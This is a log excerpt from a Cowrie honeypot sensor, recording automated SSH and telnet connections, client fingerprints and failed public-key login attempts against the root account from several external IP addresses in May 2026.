{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:5b:1b:59:b3:29:c2:a7:e2:58:b3:d5:cb:83:b9:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0E5uCKQa+5hpNNphQu96mzNIRsnpfWGKWxFPACG9hIlgmA241L+2KAnxewQfwTe/AZ5C5tIvveYCUn7xLFt9OfvZt9k4ikx3IvPhEvULYCMYnQXkZRAIna1gFJcvLL6mQ94iB4R87bxahIwNjmW3g7RvJfg9waEuFwovciUr5Tys5kYDg137rLPNpxa6YBTSmAHPMOPk4Be1BfPAIuVEG2Ty4i87b6hRRt0hYwRI7Wthfm5ZbVAndqUE/zmf12jA9v9mDoTtUhHpX47FMVmtq4jvij5NhVNdZGqXRtYxnq1Ww9FY35WBuNOije8TPEgUpiJHh1qGXBVeoFITqFa3p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:5b:1b:59:b3:29:c2:a7:e2:58:b3:d5:cb:83:b9:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.816310Z","src_ip":"51.159.104.219","session":"862ee8c98a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:5b:1b:59:b3:29:c2:a7:e2:58:b3:d5:cb:83:b9:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0E5uCKQa+5hpNNphQu96mzNIRsnpfWGKWxFPACG9hIlgmA241L+2KAnxewQfwTe/AZ5C5tIvveYCUn7xLFt9OfvZt9k4ikx3IvPhEvULYCMYnQXkZRAIna1gFJcvLL6mQ94iB4R87bxahIwNjmW3g7RvJfg9waEuFwovciUr5Tys5kYDg137rLPNpxa6YBTSmAHPMOPk4Be1BfPAIuVEG2Ty4i87b6hRRt0hYwRI7Wthfm5ZbVAndqUE/zmf12jA9v9mDoTtUhHpX47FMVmtq4jvij5NhVNdZGqXRtYxnq1Ww9FY35WBuNOije8TPEgUpiJHh1qGXBVeoFITqFa3p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.820471Z","src_ip":"51.159.104.219","session":"862ee8c98a9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:fd:f8:49:bd:06:27:16:39:c6:80:03:c4:53:ce:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAtz38nlozPdtcypVTh8Xy6lDO8Tj1bVYsrlEw83Ukros3SY1Q19kowMGTWMwwK10znR3BO+T0e5NSzzUgJp5AsxCCqCJrg6i4cawCT96akF7ybp7AqnHn3XlAede9cXR80SQfNtrxv0Cp8mJdjX1H9lmhduqFfCqZrcm4zxxD1Da2uDEyDC1ZniOAmhthgbcvCZ0mGy1LCfXz/f/0IAIYXRpK9nMvxdkRCxVHfN/2JhcUl/rXNqP8Z1ZTiPhzi4qZtxmdZOd3dh7tB6KH35mCWHjmUHfh9fwwqIfvE2Gl4NyDPzFz8ErBDDzH/+a9+8Fd2nrzC7EHM2+XzKXIZ6V2ZpDPpkMcdHYoKhYSRKwr5EZs50kRVATBYr1hao4ukXNo4rqBYxrxG35Sl97uLw3lNkYuQgLt8KfmOMotbOtjkv9cNr1gmjRbHzEpoQDsLpNOB+xTMFNhCb/rYJLKnKEQDs3ZfY57Zjvrjv8q7emGsY87DUm7QvvvxArLFYnNFRf2Bx0/l9S0vE4QJUMq5qS7nJ7jk1LWgM+caLo47mn7hS07PdGAdoxdYWohpdzsJaWwXB2A+4bZ5iQ5DyMyJMm7RJgURKIX29Bfbend9n6fJcmQOp+d0v5hbu/qXlq/syNqvQUCkg8rl95G0FTVFKJoAkn3k8X6H6yYsAE2Af4/xQ0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:fd:f8:49:bd:06:27:16:39:c6:80:03:c4:53:ce:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.908216Z","src_ip":"51.159.104.219","session":"862ee8c98a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:fd:f8:49:bd:06:27:16:39:c6:80:03:c4:53:ce:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAtz38nlozPdtcypVTh8Xy6lDO8Tj1bVYsrlEw83Ukros3SY1Q19kowMGTWMwwK10znR3BO+T0e5NSzzUgJp5AsxCCqCJrg6i4cawCT96akF7ybp7AqnHn3XlAede9cXR80SQfNtrxv0Cp8mJdjX1H9lmhduqFfCqZrcm4zxxD1Da2uDEyDC1ZniOAmhthgbcvCZ0mGy1LCfXz/f/0IAIYXRpK9nMvxdkRCxVHfN/2JhcUl/rXNqP8Z1ZTiPhzi4qZtxmdZOd3dh7tB6KH35mCWHjmUHfh9fwwqIfvE2Gl4NyDPzFz8ErBDDzH/+a9+8Fd2nrzC7EHM2+XzKXIZ6V2ZpDPpkMcdHYoKhYSRKwr5EZs50kRVATBYr1hao4ukXNo4rqBYxrxG35Sl97uLw3lNkYuQgLt8KfmOMotbOtjkv9cNr1gmjRbHzEpoQDsLpNOB+xTMFNhCb/rYJLKnKEQDs3ZfY57Zjvrjv8q7emGsY87DUm7QvvvxArLFYnNFRf2Bx0/l9S0vE4QJUMq5qS7nJ7jk1LWgM+caLo47mn7hS07PdGAdoxdYWohpdzsJaWwXB2A+4bZ5iQ5DyMyJMm7RJgURKIX29Bfbend9n6fJcmQOp+d0v5hbu/qXlq/syNqvQUCkg8rl95G0FTVFKJoAkn3k8X6H6yYsAE2Af4/xQ0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.912214Z","src_ip":"51.159.104.219","session":"862ee8c98a9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:d1:56:fb:e6:a0:18:42:a8:b4:73:04:11:42:d9:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwK5s1Q/Sx3qyqZy/CKy3cKShDDDCavk78Q9n60spep9kuLCrEquiQB8KaQ1zQTtbCl9hgh6mm2EumwQyLWumSZOZ8VJfq3jwbuvJeXV49tJqDdBB72NRl1t4i8d0UrKjIXZOGyMftcjmOlj1vm0TX0VQYwXZ3qtsX8Pqcnj+8pLY7hAlWTennEiEo+KygsNwSzf1j2Z7JkZvgLfdBEkOcTrXdOpcXkmpXFK//aq84wyxtOhxt2qtOcGvcVrPDEiBZcpsWFiWjz3NDueyQFn2zP/X/y1nevkyD+JDJWg5aVPvePHxx0YFWzX7fbrojFE1qTPF8LEiVJ938W7/Go1ZWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:d1:56:fb:e6:a0:18:42:a8:b4:73:04:11:42:d9:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:35.004794Z","src_ip":"51.159.104.219","session":"862ee8c98a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:d1:56:fb:e6:a0:18:42:a8:b4:73:04:11:42:d9:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwK5s1Q/Sx3qyqZy/CKy3cKShDDDCavk78Q9n60spep9kuLCrEquiQB8KaQ1zQTtbCl9hgh6mm2EumwQyLWumSZOZ8VJfq3jwbuvJeXV49tJqDdBB72NRl1t4i8d0UrKjIXZOGyMftcjmOlj1vm0TX0VQYwXZ3qtsX8Pqcnj+8pLY7hAlWTennEiEo+KygsNwSzf1j2Z7JkZvgLfdBEkOcTrXdOpcXkmpXFK//aq84wyxtOhxt2qtOcGvcVrPDEiBZcpsWFiWjz3NDueyQFn2zP/X/y1nevkyD+JDJWg5aVPvePHxx0YFWzX7fbrojFE1qTPF8LEiVJ938W7/Go1ZWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:35.007975Z","src_ip":"51.159.104.219","session":"862ee8c98a9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:1c:55:9f:34:84:40:4c:f0:7f:4f:f2:6b:f7:c1:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmWOs5/WXDwrizDe1I/RcgRTPTUPBW/XjJuarT3ve6onsv1p+D2fmUcxeSXJhkxFlNwTODH6+xVs4yondJ+5SXYfb2i1aNWpIMKkgQdkhaypb4146W69rZQyJWqSsEyq0CdsIENNJ7dshciSdf2Iw0J9EgIk4cyT0h3n74hrHbTvAaPHfFyvQYEbveFlFhcNz4sgc0jIePVPgm8g7Ze217gSHX3AdGu7egdTwRbEPChn33K2bldIHPnMv/7R7atXXskEyWLG9Ci1NeOO3YkW2K6A4IbTkVWTwAcFeO+EE3LX3Puy29LGo5X6ifCXHOpego0tO0qBMpg4sZIE/9YpgL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:1c:55:9f:34:84:40:4c:f0:7f:4f:f2:6b:f7:c1:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:35.093887Z","src_ip":"51.159.104.219","session":"862ee8c98a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:1c:55:9f:34:84:40:4c:f0:7f:4f:f2:6b:f7:c1:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmWOs5/WXDwrizDe1I/RcgRTPTUPBW/XjJuarT3ve6onsv1p+D2fmUcxeSXJhkxFlNwTODH6+xVs4yondJ+5SXYfb2i1aNWpIMKkgQdkhaypb4146W69rZQyJWqSsEyq0CdsIENNJ7dshciSdf2Iw0J9EgIk4cyT0h3n74hrHbTvAaPHfFyvQYEbveFlFhcNz4sgc0jIePVPgm8g7Ze217gSHX3AdGu7egdTwRbEPChn33K2bldIHPnMv/7R7atXXskEyWLG9Ci1NeOO3YkW2K6A4IbTkVWTwAcFeO+EE3LX3Puy29LGo5X6ifCXHOpego0tO0qBMpg4sZIE/9YpgL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:35.097939Z","src_ip":"51.159.104.219","session":"862ee8c98a9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:35.184468Z","src_ip":"51.159.104.219","session":"862ee8c98a9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:35.932976Z","src_ip":"2.57.122.210","session":"2211f5b6e4d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.52072834968567,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:39.834132Z","src_ip":"212.55.149.117","session":"18e7af9e848e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":29165,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f2a93246299","protocol":"ssh","message":"New connection: 79.127.181.103:29165 (10.17.0.5:22) [session: 9f2a93246299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:53.673253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:53.887234Z","src_ip":"79.127.181.103","session":"9f2a93246299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:54.096071Z","src_ip":"79.127.181.103","session":"9f2a93246299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:54.101951Z","src_ip":"79.127.181.103","session":"9f2a93246299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01153492927551,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:04.142201Z","src_ip":"212.55.149.117","session":"4af53db6f80d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.197.105","src_port":35090,"dst_ip":"10.17.0.5","dst_port":22,"session":"57bced9c74b5","protocol":"ssh","message":"New connection: 50.6.197.105:35090 (10.17.0.5:22) [session: 57bced9c74b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:11.217361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:11.222726Z","src_ip":"50.6.197.105","session":"57bced9c74b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:11.268061Z","src_ip":"50.6.197.105","session":"57bced9c74b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:4b:f9:9b:85:df:de:3a:fe:fa:f3:18:67:fd:97:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzqeAxJyjb9FvV7jKx10vbrdq7PXMpb4vXKiPkJhnBYyL4FlfbrSmDWoXRwOkIN9enNvwM8XEQ4CwdEftumRLHadyaJZpAg67mLwCC1jco+WT8d8EBJPiMCpzGvv/qlyFbcdI8cBFUIzMmxVPiMnxa2yXDhwOFyiS9SKECM5Lo8Q79vBgB6Hl7UGIJ7Z5Fs151/biNuxAZvKfZNvBcM+P+dxLqyn82Wrmv/RBfZ4iCC3QN7xwgdGwO192VdzNoSZSFYBSKNniocZWieKy3uWk0VNiChodTGABMnr5XZWKCL/S90P2s/eZSxe58aocqvCU/izm3gONC3sUPaSiqPPvf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:4b:f9:9b:85:df:de:3a:fe:fa:f3:18:67:fd:97:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:11.476840Z","src_ip":"50.6.197.105","session":"57bced9c74b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:4b:f9:9b:85:df:de:3a:fe:fa:f3:18:67:fd:97:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzqeAxJyjb9FvV7jKx10vbrdq7PXMpb4vXKiPkJhnBYyL4FlfbrSmDWoXRwOkIN9enNvwM8XEQ4CwdEftumRLHadyaJZpAg67mLwCC1jco+WT8d8EBJPiMCpzGvv/qlyFbcdI8cBFUIzMmxVPiMnxa2yXDhwOFyiS9SKECM5Lo8Q79vBgB6Hl7UGIJ7Z5Fs151/biNuxAZvKfZNvBcM+P+dxLqyn82Wrmv/RBfZ4iCC3QN7xwgdGwO192VdzNoSZSFYBSKNniocZWieKy3uWk0VNiChodTGABMnr5XZWKCL/S90P2s/eZSxe58aocqvCU/izm3gONC3sUPaSiqPPvf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:11.480343Z","src_ip":"50.6.197.105","session":"57bced9c74b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:5b:1b:59:b3:29:c2:a7:e2:58:b3:d5:cb:83:b9:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0E5uCKQa+5hpNNphQu96mzNIRsnpfWGKWxFPACG9hIlgmA241L+2KAnxewQfwTe/AZ5C5tIvveYCUn7xLFt9OfvZt9k4ikx3IvPhEvULYCMYnQXkZRAIna1gFJcvLL6mQ94iB4R87bxahIwNjmW3g7RvJfg9waEuFwovciUr5Tys5kYDg137rLPNpxa6YBTSmAHPMOPk4Be1BfPAIuVEG2Ty4i87b6hRRt0hYwRI7Wthfm5ZbVAndqUE/zmf12jA9v9mDoTtUhHpX47FMVmtq4jvij5NhVNdZGqXRtYxnq1Ww9FY35WBuNOije8TPEgUpiJHh1qGXBVeoFITqFa3p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:5b:1b:59:b3:29:c2:a7:e2:58:b3:d5:cb:83:b9:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:11.526312Z","src_ip":"50.6.197.105","session":"57bced9c74b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:5b:1b:59:b3:29:c2:a7:e2:58:b3:d5:cb:83:b9:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0E5uCKQa+5hpNNphQu96mzNIRsnpfWGKWxFPACG9hIlgmA241L+2KAnxewQfwTe/AZ5C5tIvveYCUn7xLFt9OfvZt9k4ikx3IvPhEvULYCMYnQXkZRAIna1gFJcvLL6mQ94iB4R87bxahIwNjmW3g7RvJfg9waEuFwovciUr5Tys5kYDg137rLPNpxa6YBTSmAHPMOPk4Be1BfPAIuVEG2Ty4i87b6hRRt0hYwRI7Wthfm5ZbVAndqUE/zmf12jA9v9mDoTtUhHpX47FMVmtq4jvij5NhVNdZGqXRtYxnq1Ww9FY35WBuNOije8TPEgUpiJHh1qGXBVeoFITqFa3p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:11.530132Z","src_ip":"50.6.197.105","session":"57bced9c74b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:fd:f8:49:bd:06:27:16:39:c6:80:03:c4:53:ce:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAtz38nlozPdtcypVTh8Xy6lDO8Tj1bVYsrlEw83Ukros3SY1Q19kowMGTWMwwK10znR3BO+T0e5NSzzUgJp5AsxCCqCJrg6i4cawCT96akF7ybp7AqnHn3XlAede9cXR80SQfNtrxv0Cp8mJdjX1H9lmhduqFfCqZrcm4zxxD1Da2uDEyDC1ZniOAmhthgbcvCZ0mGy1LCfXz/f/0IAIYXRpK9nMvxdkRCxVHfN/2JhcUl/rXNqP8Z1ZTiPhzi4qZtxmdZOd3dh7tB6KH35mCWHjmUHfh9fwwqIfvE2Gl4NyDPzFz8ErBDDzH/+a9+8Fd2nrzC7EHM2+XzKXIZ6V2ZpDPpkMcdHYoKhYSRKwr5EZs50kRVATBYr1hao4ukXNo4rqBYxrxG35Sl97uLw3lNkYuQgLt8KfmOMotbOtjkv9cNr1gmjRbHzEpoQDsLpNOB+xTMFNhCb/rYJLKnKEQDs3ZfY57Zjvrjv8q7emGsY87DUm7QvvvxArLFYnNFRf2Bx0/l9S0vE4QJUMq5qS7nJ7jk1LWgM+caLo47mn7hS07PdGAdoxdYWohpdzsJaWwXB2A+4bZ5iQ5DyMyJMm7RJgURKIX29Bfbend9n6fJcmQOp+d0v5hbu/qXlq/syNqvQUCkg8rl95G0FTVFKJoAkn3k8X6H6yYsAE2Af4/xQ0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:fd:f8:49:bd:06:27:16:39:c6:80:03:c4:53:ce:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:11.576178Z","src_ip":"50.6.197.105","session":"57bced9c74b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:fd:f8:49:bd:06:27:16:39:c6:80:03:c4:53:ce:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAtz38nlozPdtcypVTh8Xy6lDO8Tj1bVYsrlEw83Ukros3SY1Q19kowMGTWMwwK10znR3BO+T0e5NSzzUgJp5AsxCCqCJrg6i4cawCT96akF7ybp7AqnHn3XlAede9cXR80SQfNtrxv0Cp8mJdjX1H9lmhduqFfCqZrcm4zxxD1Da2uDEyDC1ZniOAmhthgbcvCZ0mGy1LCfXz/f/0IAIYXRpK9nMvxdkRCxVHfN/2JhcUl/rXNqP8Z1ZTiPhzi4qZtxmdZOd3dh7tB6KH35mCWHjmUHfh9fwwqIfvE2Gl4NyDPzFz8ErBDDzH/+a9+8Fd2nrzC7EHM2+XzKXIZ6V2ZpDPpkMcdHYoKhYSRKwr5EZs50kRVATBYr1hao4ukXNo4rqBYxrxG35Sl97uLw3lNkYuQgLt8KfmOMotbOtjkv9cNr1gmjRbHzEpoQDsLpNOB+xTMFNhCb/rYJLKnKEQDs3ZfY57Zjvrjv8q7emGsY87DUm7QvvvxArLFYnNFRf2Bx0/l9S0vE4QJUMq5qS7nJ7jk1LWgM+caLo47mn7hS07PdGAdoxdYWohpdzsJaWwXB2A+4bZ5iQ5DyMyJMm7RJgURKIX29Bfbend9n6fJcmQOp+d0v5hbu/qXlq/syNqvQUCkg8rl95G0FTVFKJoAkn3k8X6H6yYsAE2Af4/xQ0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:11.580282Z","src_ip":"50.6.197.105","session":"57bced9c74b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:d1:56:fb:e6:a0:18:42:a8:b4:73:04:11:42:d9:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwK5s1Q/Sx3qyqZy/CKy3cKShDDDCavk78Q9n60spep9kuLCrEquiQB8KaQ1zQTtbCl9hgh6mm2EumwQyLWumSZOZ8VJfq3jwbuvJeXV49tJqDdBB72NRl1t4i8d0UrKjIXZOGyMftcjmOlj1vm0TX0VQYwXZ3qtsX8Pqcnj+8pLY7hAlWTennEiEo+KygsNwSzf1j2Z7JkZvgLfdBEkOcTrXdOpcXkmpXFK//aq84wyxtOhxt2qtOcGvcVrPDEiBZcpsWFiWjz3NDueyQFn2zP/X/y1nevkyD+JDJWg5aVPvePHxx0YFWzX7fbrojFE1qTPF8LEiVJ938W7/Go1ZWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:d1:56:fb:e6:a0:18:42:a8:b4:73:04:11:42:d9:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:11.629708Z","src_ip":"50.6.197.105","session":"57bced9c74b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:d1:56:fb:e6:a0:18:42:a8:b4:73:04:11:42:d9:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwK5s1Q/Sx3qyqZy/CKy3cKShDDDCavk78Q9n60spep9kuLCrEquiQB8KaQ1zQTtbCl9hgh6mm2EumwQyLWumSZOZ8VJfq3jwbuvJeXV49tJqDdBB72NRl1t4i8d0UrKjIXZOGyMftcjmOlj1vm0TX0VQYwXZ3qtsX8Pqcnj+8pLY7hAlWTennEiEo+KygsNwSzf1j2Z7JkZvgLfdBEkOcTrXdOpcXkmpXFK//aq84wyxtOhxt2qtOcGvcVrPDEiBZcpsWFiWjz3NDueyQFn2zP/X/y1nevkyD+JDJWg5aVPvePHxx0YFWzX7fbrojFE1qTPF8LEiVJ938W7/Go1ZWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:11.635007Z","src_ip":"50.6.197.105","session":"57bced9c74b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:1c:55:9f:34:84:40:4c:f0:7f:4f:f2:6b:f7:c1:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmWOs5/WXDwrizDe1I/RcgRTPTUPBW/XjJuarT3ve6onsv1p+D2fmUcxeSXJhkxFlNwTODH6+xVs4yondJ+5SXYfb2i1aNWpIMKkgQdkhaypb4146W69rZQyJWqSsEyq0CdsIENNJ7dshciSdf2Iw0J9EgIk4cyT0h3n74hrHbTvAaPHfFyvQYEbveFlFhcNz4sgc0jIePVPgm8g7Ze217gSHX3AdGu7egdTwRbEPChn33K2bldIHPnMv/7R7atXXskEyWLG9Ci1NeOO3YkW2K6A4IbTkVWTwAcFeO+EE3LX3Puy29LGo5X6ifCXHOpego0tO0qBMpg4sZIE/9YpgL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:1c:55:9f:34:84:40:4c:f0:7f:4f:f2:6b:f7:c1:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:09:11.684462Z","src_ip":"50.6.197.105","session":"57bced9c74b5","protocol":"ssh"}
